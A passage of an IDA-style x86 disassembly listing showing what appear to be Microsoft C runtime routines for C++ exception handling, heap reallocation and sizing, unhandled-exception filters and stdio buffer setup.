		push	dword ptr [ebp-14h]
		call	sub_4318FF
		pop	ecx
		retn
sub_431889	endp


; =============== S U B	R O U T	I N E =======================================



sub_431893	proc near		; DATA XREF: .text:004376E4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_42AD0E
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_43187A
sub_431893	endp

; ---------------------------------------------------------------------------


loc_4318AB:				; DATA XREF: .text:004376D8o
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_4318B1	proc near		; CODE XREF: sub_4317E4+8Ep
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		call	sub_42E4EE
		mov	ecx, [ebp-1Ch]
		mov	[eax+6Ch], ecx
		call	sub_42E4EE
		mov	ecx, [ebp-20h]
		mov	[eax+70h], ecx
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_4318FE
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_4318FE
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_4318FE
		cmp	dword ptr [ebp-24h], 0
		jnz	short locret_4318FE
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_4318FE
		call	sub_42AD76
		push	eax
		push	edi
		call	sub_431AED
		pop	ecx
		pop	ecx

locret_4318FE:				; CODE XREF: sub_4318B1+22j
					; sub_4318B1+28j ...
		retn
sub_4318B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4318FF	proc near		; CODE XREF: sub_431889+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_431926
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_431926
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_431926
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_431926
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_431926:				; CODE XREF: sub_4318FF+Cj
					; sub_4318FF+12j ...
		xor	eax, eax
		retn
sub_4318FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431929	proc near		; CODE XREF: sub_431769+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4376E8
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_431AD2
		cmp	byte ptr [eax+8], 0
		jz	loc_431AD2
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_431AD2
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_4319C6
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_434CC7
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_431AC9
		push	1
		push	edi
		call	sub_434CE3
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_431AC9
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_4319B7:				; CODE XREF: sub_431929+F5j
		push	eax
		call	sub_431B54
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_431ACE
; ---------------------------------------------------------------------------


loc_4319C6:				; CODE XREF: sub_431929+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_431A20
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_434CC7
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_431AC9
		push	1
		push	edi
		call	sub_434CE3
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_431AC9
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_42BA90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_431ACE
		mov	eax, [edi]
		test	eax, eax
		jz	loc_431ACE
		add	esi, 8
		push	esi
		jmp	short loc_4319B7
; ---------------------------------------------------------------------------


loc_431A20:				; CODE XREF: sub_431929+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_431A68
		call	sub_434CC7
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_431AC9
		push	1
		push	edi
		call	sub_434CE3
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_431AC9
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_431B54
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_42BA90
		add	esp, 0Ch
		jmp	short loc_431ACE
; ---------------------------------------------------------------------------


loc_431A68:				; CODE XREF: sub_431929+103j
		call	sub_434CC7
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_431AC9
		push	1
		push	edi
		call	sub_434CE3
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_431AC9
		push	dword ptr [esi+18h]
		call	sub_434CFF
		pop	ecx
		test	eax, eax
		jz	short loc_431AC9
		test	byte ptr [esi],	4
		jz	short loc_431AAF
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_431B54
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_42B520
		jmp	short loc_431ACE
; ---------------------------------------------------------------------------


loc_431AAF:				; CODE XREF: sub_431929+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_431B54
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_42B519
		jmp	short loc_431ACE
; ---------------------------------------------------------------------------


loc_431AC9:				; CODE XREF: sub_431929+6Aj
					; sub_431929+7Cj ...
		call	sub_431C2D


loc_431ACE:				; CODE XREF: sub_431929+98j
					; sub_431929+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_431AD2:				; CODE XREF: sub_431929+2Ej
					; sub_431929+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_431929	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_431BCC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431AED	proc near		; CODE XREF: sub_4313FB+17Cp
					; sub_4318B1+46p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4376F8
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_431B34
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_431B34
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_42B519
		or	[ebp+var_4], 0FFFFFFFFh


loc_431B34:				; CODE XREF: sub_431AED+2Aj
					; sub_431AED+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_431AED	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_431BCC

; =============== S U B	R O U T	I N E =======================================



sub_431B54	proc near		; CODE XREF: sub_431929+8Fp
					; sub_431929+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_431B75
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_431B75:				; CODE XREF: sub_431B54+12j
		pop	esi
		retn
sub_431B54	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431B80	proc near		; CODE XREF: sub_42B5AC+40p
					; sub_4316B5+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_42AD99
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_431BBF
		mov	ecx, 2


loc_431BBF:				; CODE XREF: sub_431B80+38j
		push	ecx
		call	sub_42AD99
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_431B80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431BCC	proc near		; CODE XREF: sub_4313FB:loc_4315A9j
					; sub_431753:loc_431764j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00434D17 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437708
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		mov	[ebp+var_4], esi
		call	sub_42E4EE
		cmp	[eax+60h], esi
		jz	short loc_431C1F
		mov	[ebp+var_4], 1
		call	sub_42E4EE
		call	dword ptr [eax+60h]
		mov	[ebp+var_4], esi
		jmp	short loc_431C1F
; ---------------------------------------------------------------------------


loc_431C14:				; DATA XREF: .text:00437718o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_431C18:				; DATA XREF: .text:0043771Co
		mov	esp, [ebp+var_18]
		and	[ebp+var_4], 0


loc_431C1F:				; CODE XREF: sub_431BCC+32j
					; sub_431BCC+46j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_431C28:				; DATA XREF: .text:00437710o
		jmp	loc_434D17
sub_431BCC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431C2D	proc near		; CODE XREF: sub_42B750+23p
					; sub_42B750:loc_42B7BBp ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437720
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_4538E0
		test	eax, eax
		jz	short loc_431C75
		mov	[ebp+var_4], 1
		call	eax ; sub_431BCC
		jmp	short loc_431C71
; ---------------------------------------------------------------------------


loc_431C6A:				; DATA XREF: .text:00437730o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_431C6E:				; DATA XREF: .text:00437734o
		mov	esp, [ebp+var_18]


loc_431C71:				; CODE XREF: sub_431C2D+3Bj
		and	[ebp+var_4], 0


loc_431C75:				; CODE XREF: sub_431C2D+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_431C7E:				; DATA XREF: .text:00437728o
		jmp	sub_431BCC
sub_431C2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431C83	proc near		; CODE XREF: sub_42B7EB+39p
					; sub_435D8D+EDp ...

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00431E17 SIZE 0000013F BYTES
; FUNCTION CHUNK AT 00431F67 SIZE 0000004B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437738
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		cmp	ebx, edi
		jnz	short loc_431CBD
		push	[ebp+arg_4]
		call	sub_4297B8
		pop	ecx
		jmp	loc_431FA3
; ---------------------------------------------------------------------------


loc_431CBD:				; CODE XREF: sub_431C83+2Aj
		mov	esi, [ebp+arg_4]
		cmp	esi, edi
		jnz	short loc_431CD0
		push	ebx
		call	sub_4298F2
		pop	ecx
		jmp	loc_431FA1
; ---------------------------------------------------------------------------


loc_431CD0:				; CODE XREF: sub_431C83+3Fj
		mov	eax, dword_677004
		cmp	eax, 3
		jnz	loc_431E17


loc_431CDE:				; CODE XREF: sub_431C83+178j
		mov	[ebp+var_24], edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_431DDB
		push	9
		call	sub_42DAEF
		pop	ecx
		mov	[ebp+var_4], edi
		push	ebx
		call	sub_42C8FA
		pop	ecx
		mov	[ebp+var_28], eax
		cmp	eax, edi
		jz	loc_431DAB
		cmp	esi, dword_676FFC
		ja	short loc_431D5B
		push	esi
		push	ebx
		push	eax
		call	sub_42D103
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431D23
		mov	[ebp+var_24], ebx
		jmp	short loc_431D5B
; ---------------------------------------------------------------------------


loc_431D23:				; CODE XREF: sub_431C83+99j
		push	esi
		call	sub_42CC4E
		pop	ecx
		mov	[ebp+var_24], eax
		cmp	eax, edi
		jz	short loc_431D5B
		mov	eax, [ebx-4]
		dec	eax
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jb	short loc_431D3E
		mov	eax, esi


loc_431D3E:				; CODE XREF: sub_431C83+B7j
		push	eax
		push	ebx
		push	[ebp+var_24]
		call	sub_429420
		push	ebx
		call	sub_42C8FA
		mov	[ebp+var_28], eax
		push	ebx
		push	eax
		call	sub_42C925
		add	esp, 18h


loc_431D5B:				; CODE XREF: sub_431C83+8Aj
					; sub_431C83+9Ej ...
		cmp	[ebp+var_24], edi
		jnz	short loc_431DAB
		cmp	esi, edi
		jnz	short loc_431D6A
		push	1
		pop	esi
		mov	[ebp+arg_4], esi


loc_431D6A:				; CODE XREF: sub_431C83+DFj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	edi
		push	dword_677000
		call	dword_437210	; RtlAllocateHeap
		mov	[ebp+var_24], eax
		cmp	eax, edi
		jz	short loc_431DAB
		mov	eax, [ebx-4]
		dec	eax
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jb	short loc_431D95
		mov	eax, esi


loc_431D95:				; CODE XREF: sub_431C83+10Ej
		push	eax
		push	ebx
		push	[ebp+var_24]
		call	sub_429420
		push	ebx
		push	[ebp+var_28]
		call	sub_42C925
		add	esp, 14h


loc_431DAB:				; CODE XREF: sub_431C83+7Ej
					; sub_431C83+DBj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_431E0E
		cmp	[ebp+var_28], edi
		jnz	short loc_431DDB
		cmp	esi, edi
		jnz	short loc_431DC0
		push	1
		pop	esi


loc_431DC0:				; CODE XREF: sub_431C83+138j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		push	esi
		push	ebx
		push	edi
		push	dword_677000
		call	dword_437160	; RtlReAllocateHeap
		mov	[ebp+var_24], eax


loc_431DDB:				; CODE XREF: sub_431C83+61j
					; sub_431C83+134j
		mov	eax, [ebp+var_24]
		cmp	eax, edi
		jnz	loc_431FA3
		cmp	dword_676930, edi
		jz	loc_431FA3
		push	esi
		call	sub_42C6C5
		pop	ecx
		test	eax, eax
		jnz	loc_431CDE
		jmp	loc_431FA1
sub_431C83	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E06	proc near		; DATA XREF: .text:00437740o
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+8]
		xor	edi, edi
sub_431E06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E0E	proc near		; CODE XREF: sub_431C83+12Cp
		push	9
		call	sub_42DB50
		pop	ecx
		retn
sub_431E0E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431C83


loc_431E17:				; CODE XREF: sub_431C83+55j
		cmp	eax, 2
		jnz	loc_431F67
		cmp	esi, 0FFFFFFE0h
		ja	short loc_431E37
		cmp	esi, edi
		jbe	short loc_431E31
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_431E34
; ---------------------------------------------------------------------------


loc_431E31:				; CODE XREF: sub_431C83+1A4j
		push	10h
		pop	esi


loc_431E34:				; CODE XREF: sub_431C83+1ACj
		mov	[ebp+arg_4], esi


loc_431E37:				; CODE XREF: sub_431C83+1A0j
					; sub_431C83+2CBj
		mov	[ebp+var_24], edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_431F36
		push	9
		call	sub_42DAEF
		pop	ecx
		mov	[ebp+var_4], 1
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		push	ebx
		call	sub_42D655
		add	esp, 0Ch
		mov	edi, eax
		mov	[ebp+var_30], edi
		test	edi, edi
		jz	loc_431F1A
		cmp	esi, dword_453174
		jnb	short loc_431ED4
		mov	ebx, esi
		shr	ebx, 4
		push	ebx
		push	edi
		push	[ebp+var_2C]
		push	[ebp+var_38]
		call	sub_42DA1D
		add	esp, 10h
		test	eax, eax
		jz	short loc_431E99
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_24], eax
		jmp	short loc_431ED1
; ---------------------------------------------------------------------------


loc_431E99:				; CODE XREF: sub_431C83+20Cj
		push	ebx
		call	sub_42D6F1
		pop	ecx
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	short loc_431ED1
		movzx	eax, byte ptr [edi]
		shl	eax, 4
		mov	[ebp+var_34], eax
		cmp	eax, esi
		jb	short loc_431EB6
		mov	eax, esi


loc_431EB6:				; CODE XREF: sub_431C83+22Fj
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_24]
		call	sub_429420
		push	edi
		push	[ebp+var_2C]
		push	[ebp+var_38]
		call	sub_42D6AC
		add	esp, 18h


loc_431ED1:				; CODE XREF: sub_431C83+214j
					; sub_431C83+222j
		mov	ebx, [ebp+arg_0]


loc_431ED4:				; CODE XREF: sub_431C83+1F3j
		cmp	[ebp+var_24], 0
		jnz	short loc_431F2D
		push	esi
		push	0
		push	dword_677000
		call	dword_437210	; RtlAllocateHeap
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	short loc_431F2D
		movzx	eax, byte ptr [edi]
		shl	eax, 4
		mov	[ebp+var_34], eax
		cmp	eax, esi
		jb	short loc_431EFF
		mov	eax, esi


loc_431EFF:				; CODE XREF: sub_431C83+278j
		push	eax
		push	ebx
		push	[ebp+var_24]
		call	sub_429420
		push	edi
		push	[ebp+var_2C]
		push	[ebp+var_38]
		call	sub_42D6AC
		add	esp, 18h
		jmp	short loc_431F2D
; ---------------------------------------------------------------------------


loc_431F1A:				; CODE XREF: sub_431C83+1E7j
		push	esi
		push	ebx
		push	0
		push	dword_677000
		call	dword_437160	; RtlReAllocateHeap
		mov	[ebp+var_24], eax


loc_431F2D:				; CODE XREF: sub_431C83+255j
					; sub_431C83+26Bj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_431F5C


loc_431F36:				; CODE XREF: sub_431C83+1BAj
		mov	eax, [ebp+var_24]
		cmp	eax, edi
		jnz	short loc_431FA3
		cmp	dword_676930, edi
		jz	short loc_431FA3
		push	esi
		call	sub_42C6C5
		pop	ecx
		test	eax, eax
		jnz	loc_431E37
		jmp	short loc_431FA1
; END OF FUNCTION CHUNK	FOR sub_431C83

; =============== S U B	R O U T	I N E =======================================



sub_431F56	proc near		; DATA XREF: .text:0043774Co
		mov	esi, [ebp+0Ch]
		mov	ebx, [ebp+8]
sub_431F56	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431F5C	proc near		; CODE XREF: sub_431C83+2AEp
		push	9
		call	sub_42DB50
		pop	ecx
		xor	edi, edi
		retn
sub_431F5C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431C83


loc_431F67:				; CODE XREF: sub_431C83+197j
					; sub_431C83+31Cj
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_431F8A
		cmp	esi, edi
		jnz	short loc_431F75
		push	1
		pop	esi


loc_431F75:				; CODE XREF: sub_431C83+2EDj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	edi
		push	dword_677000
		call	dword_437160	; RtlReAllocateHeap


loc_431F8A:				; CODE XREF: sub_431C83+2E9j
		cmp	eax, edi
		jnz	short loc_431FA3
		cmp	dword_676930, edi
		jz	short loc_431FA3
		push	esi
		call	sub_42C6C5
		pop	ecx
		test	eax, eax
		jnz	short loc_431F67


loc_431FA1:				; CODE XREF: sub_431C83+48j
					; sub_431C83+17Ej ...
		xor	eax, eax


loc_431FA3:				; CODE XREF: sub_431C83+35j
					; sub_431C83+15Dj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_431C83

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431FB2	proc near		; CODE XREF: sub_42B7EB+Cp
					; sub_42B7EB+2Ap

var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00432025 SIZE 0000006F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437750
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_677004
		cmp	eax, 3
		jnz	short loc_432025
		push	9
		call	sub_42DAEF
		pop	ecx
		and	[ebp+var_4], 0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_42C8FA
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_432007
		mov	esi, [esi-4]
		sub	esi, 9
		mov	[ebp+var_20], esi
		jmp	short loc_43200A
; ---------------------------------------------------------------------------


loc_432007:				; CODE XREF: sub_431FB2+48j
		mov	esi, [ebp+var_20]


loc_43200A:				; CODE XREF: sub_431FB2+53j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_43201C
		cmp	[ebp+var_1C], 0
		jmp	short loc_43206E
sub_431FB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_432019	proc near		; DATA XREF: .text:00437758o
		mov	esi, [ebp-20h]
sub_432019	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43201C	proc near		; CODE XREF: sub_431FB2+5Cp
		push	9
		call	sub_42DB50
		pop	ecx
		retn
sub_43201C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431FB2


loc_432025:				; CODE XREF: sub_431FB2+2Bj
		cmp	eax, 2
		jnz	short loc_432070
		push	9
		call	sub_42DAEF
		pop	ecx
		mov	[ebp+var_4], 1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+arg_0]
		call	sub_42D655
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		test	eax, eax
		jz	short loc_43205E
		movzx	esi, byte ptr [eax]
		shl	esi, 4
		mov	[ebp+var_20], esi
		jmp	short loc_432061
; ---------------------------------------------------------------------------


loc_43205E:				; CODE XREF: sub_431FB2+9Fj
		mov	esi, [ebp+var_20]


loc_432061:				; CODE XREF: sub_431FB2+AAj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_432097
		cmp	[ebp+var_28], 0


loc_43206E:				; CODE XREF: sub_431FB2+65j
		jnz	short loc_432083


loc_432070:				; CODE XREF: sub_431FB2+76j
		push	[ebp+arg_0]
		push	0
		push	dword_677000
		call	dword_4371E4	; RtlSizeHeap
		mov	esi, eax


loc_432083:				; CODE XREF: sub_431FB2:loc_43206Ej
		mov	eax, esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_431FB2

; =============== S U B	R O U T	I N E =======================================



sub_432094	proc near		; DATA XREF: .text:00437764o
		mov	esi, [ebp-20h]
sub_432094	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432097	proc near		; CODE XREF: sub_431FB2+B3p
		push	9
		call	sub_42DB50
		pop	ecx
		retn
sub_432097	endp


; =============== S U B	R O U T	I N E =======================================



sub_4320A0	proc near		; DATA XREF: sub_4320E6o
					; .text:00450E90o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4320C3
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4320C3
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4320C3
		jmp	sub_431BCC
; ---------------------------------------------------------------------------


loc_4320C3:				; CODE XREF: sub_4320A0+Dj
					; sub_4320A0+13j ...
		mov	eax, dword_676A14
		test	eax, eax
		jz	short loc_4320E0
		push	eax
		call	sub_434CFF
		test	eax, eax
		pop	ecx
		jz	short loc_4320E0
		push	esi
		call	dword_676A14
		jmp	short loc_4320E2
; ---------------------------------------------------------------------------


loc_4320E0:				; CODE XREF: sub_4320A0+2Aj
					; sub_4320A0+35j
		xor	eax, eax


loc_4320E2:				; CODE XREF: sub_4320A0+3Ej
		pop	esi
		retn	4
sub_4320A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4320E6	proc near		; DATA XREF: .text:0043A024o
		push	offset sub_4320A0
		call	dword_4371E0	; SetUnhandledExceptionFilter
		mov	dword_676A14, eax
		retn
sub_4320E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4320F7	proc near		; DATA XREF: .text:0043A03Co
		push	dword_676A14
		call	dword_4371E0	; SetUnhandledExceptionFilter
		retn
sub_4320F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_432104	proc near		; CODE XREF: sub_42BEB8+11p
					; sub_42C0DC+Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_433237
		test	eax, eax
		pop	ecx
		jz	short loc_43218D
		cmp	esi, offset dword_450EE0
		jnz	short loc_432122
		xor	eax, eax
		jmp	short loc_43212D
; ---------------------------------------------------------------------------


loc_432122:				; CODE XREF: sub_432104+18j
		cmp	esi, offset dword_450F00
		jnz	short loc_43218D
		push	1
		pop	eax


loc_43212D:				; CODE XREF: sub_432104+1Cj
		inc	dword_676920
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_43218D
		cmp	dword_676A18[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:676A18h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_432173
		push	ebx
		call	sub_4297B8
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_432173
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_432180
; ---------------------------------------------------------------------------


loc_432173:				; CODE XREF: sub_432104+4Dj
					; sub_432104+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_432180:				; CODE XREF: sub_432104+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43218D:				; CODE XREF: sub_432104+10j
					; sub_432104+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_432104	endp


; =============== S U B	R O U T	I N E =======================================



sub_432191	proc near		; CODE XREF: sub_42BEB8+2Bp
					; sub_42C0DC+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4321B9
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
